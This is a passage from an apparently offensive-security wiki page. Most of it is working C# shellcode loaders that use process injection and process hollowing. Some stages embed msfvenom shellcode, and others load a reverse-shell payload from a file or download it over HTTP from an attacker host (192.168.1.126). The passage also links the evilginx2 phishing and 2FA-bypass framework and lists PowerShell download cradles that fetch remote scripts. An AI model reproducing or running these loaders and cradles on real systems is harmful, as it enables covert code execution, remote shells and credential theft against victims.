            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
